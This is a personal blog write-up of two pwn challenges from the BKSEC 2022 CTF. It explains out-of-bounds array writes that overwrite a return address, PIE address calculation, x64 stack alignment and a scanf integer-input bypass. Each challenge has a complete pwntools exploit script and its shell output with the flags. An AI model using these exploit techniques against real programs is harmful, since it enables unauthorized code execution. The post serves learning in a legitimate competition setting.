BKSEC 2022 CTF Write-up (Pwn)

Hi everyone! This post is on BKSEC 2022 CTF which was held in early April this year. I only attempted the pwn category as I was feeling lazy to try out the others. The pwn challenges tested on arbitrary write via array out of bound (OOB), stack alignment on x64 programs, and bypassing integer inputs on C program’s scanf(). Let’s get started!

1. simple bof

1.1 Files provided

You may download my IDA Freeware 7.7 database file here so that you don’t have to reverse engineer and rename the variables.

1.2 Vulnerability

Firstly, we need to check the security setting of the binary file. Using checksec, we can see there are canary and PIE/ASLR enabled.

However, a quick look at the source code shows we can arbitrary any values at any location via the array since our input value is not checked (see green arrow). This allows us to overwrite the RIP with win()‘s address to obtain a shell. We just have to first supply the index that will point to the RIP location during the 1st prompt and the address of win() in integer during the 2nd input prompt (see red arrow).

1.3 Calculations

Firstly, we will need to calculate the offset of the buf[] variable on main() to the return address location. This can be seen on IDA.

Since we know it is 0x90 to the RBP location, we will need to add 0x8 and divide by 8 because each index is 8 bytes. Note that we don’t need to add one more 0x8 because index 0 is writing to the current location of buf[]. Based on the calculation below, we will know buf[19] points to return address location.

0x90 + 0x8 = 0x98
0x98 / 0x8 = 0x13 (19)

Next, we will need to leak win()‘s ASLR/PIE address during runtime. Since main()‘s address is given to us during run time, we just need to calculate the address of win().

main_aslr_addr - main_addr_shown_on_ida + win_addr_shown_on_ida = win_aslr_addr + 5

Note that we need to +5 to the address because we of stack alignment requirement on x64 programs. +5 will allows us to skip running “push RBP” instruction on win() that will causes stack misalignment later on as it must adhere to 16 bits.

1.4 Craft exploit + get flag

Finally, we can craft bof1_exploit.py to automate the process for us especially calculating the ASLR address of win() which will be troublesome if we do it manually each time we connect to the program.

from pwn import *

elf = ELF("./bof1")

r = remote("34.121.178.119", 13371)

# we only want the printed main()'s ASLR address so ommit other stuff
r.recvuntil(b'your main ')
main_aslr_addr = int(r.recvuntil(b'\n', drop=True).decode("UTF-8"), 16)
log.info("main() address: " + hex(main_aslr_addr))

# calculate ASLR win()'s address
win_aslr_addr = main_aslr_addr - elf.symbols["main"] + elf.symbols["win"] + 5
log.info("win() address: " + hex(win_aslr_addr))

# so that we will write to return address location via buf[19]
r.sendlineafter(b'enter number : \n', b'19')

# since input taken must be integer in the form of string, 
#	we just convert the integer address to bytes
win_aslr_addr = str(win_aslr_addr)
r.sendlineafter(b'enter number : \n', win_aslr_addr.encode())

r.interactive()

Running the exploit allows us to obtain the flag.

kali@kali~$ python3 bof1_exploit.py
[*] '/home/kali/Desktop/bof1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.121.178.119 on port 13371: Done
[*] main() address: 0x561ede0c829d
[*] win() address: 0x561ede0c820e
[*] Switching to interactive mode
$ ls
bof1
flag.txt
ynetd
$ cat flag.txt
BKSEC{023299564b0db47d5f3e476a254d0c21}

2. magic scan

2.1 Files provided

You may download my IDA Freeware 7.7 database file here so that you don’t have to reverse engineer and rename the variables.

2.2 Vulnerability

This challenge is similar to the previous challenge “simple bof” where we have to utilize array arbitrary write to overwritten the return address with win()‘s ASLR address. However, the slight difference is we must now bypass integer input to prevent overwritten the value in the idx variable during the 2nd WHILE loop.

Therefore, during the first WHILE loop, we can input the index of buf[] that points to the return address location of the stack. During second loop, we can input period (.), which will prevent scanf() from taking any input to write to the variable idx. This will result in scanf() write value 0 to the variable result as no input is taken.

Note that during the 2nd input which we will be sending a period, we should not do it manually so that we do not have to press ENTER which will send a new line character, causing skipping of the “enter number” prompt later. Therefore, when building my exploit, I used pwntool’s send() instead of sendline() to avoid sending a new line character.

I did a quick check on IDA by loading the binary in to check the offset of buf[] from the RBP offset. It turns out that the offset is still 0x90. This means the idx‘s input is still 19 to access the return address’s location on the stack.

2.3 Craft exploit + get flag

Therefore, I reused the previous challenge “simple bof” exploit and made some changes for idx’s input and integer input bypass. Below shows my exploit, bof2_exploit.py:

from pwn import *

elf = ELF("./bof2")

r = remote("34.121.178.119", 13372)

# so that we will write to return address location via buf[19]
r.sendline(b'19')
# exit the WHILE loop as period prevents taking input so that scanf() returns 0
r.send(b'.')


# we only want the printed main()'s ASLR address so ommit other stuff
r.recvuntil(b'your main ')
main_aslr_addr = int(r.recvuntil(b'\n', drop=True).decode("UTF-8"), 16)
log.info("main() address: " + hex(main_aslr_addr))

# calculate ASLR win()'s address
win_aslr_addr = main_aslr_addr - elf.symbols["main"] + elf.symbols["win"] + 5
log.info("win() address: " + hex(win_aslr_addr))


# since input taken must be integer in the form of string, 
#	we just convert the integer address to bytes
win_aslr_addr = str(win_aslr_addr)
r.sendlineafter(b'enter number : \n', win_aslr_addr.encode())

r.interactive()

Running it will allow us to obtain a shell which will leak to the flag.

kali@kali~$ python3 bof2_exploit.py
[*] '/home/kali/Desktop/bof2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.121.178.119 on port 13372: Done
[*] main() address: 0x5652df18f2e2
[*] win() address: 0x5652df18f24e
[*] Switching to interactive mode
value 94913930261070
$ ls
bof2
flag.txt
ynetd
$ cat flag.txt
BKSEC{d7af994f1f1ef8b5e3beb9f7fb139f57}

 

Running the program will reveal the address of puts() which allows us to search in https://libc.blukat.me for the possible libc library used by the program.

kali@kali~$ nc 34.121.178.119 13373
puts 0x7f943f254970
main 0x56335100d296
enter number :

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here.

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.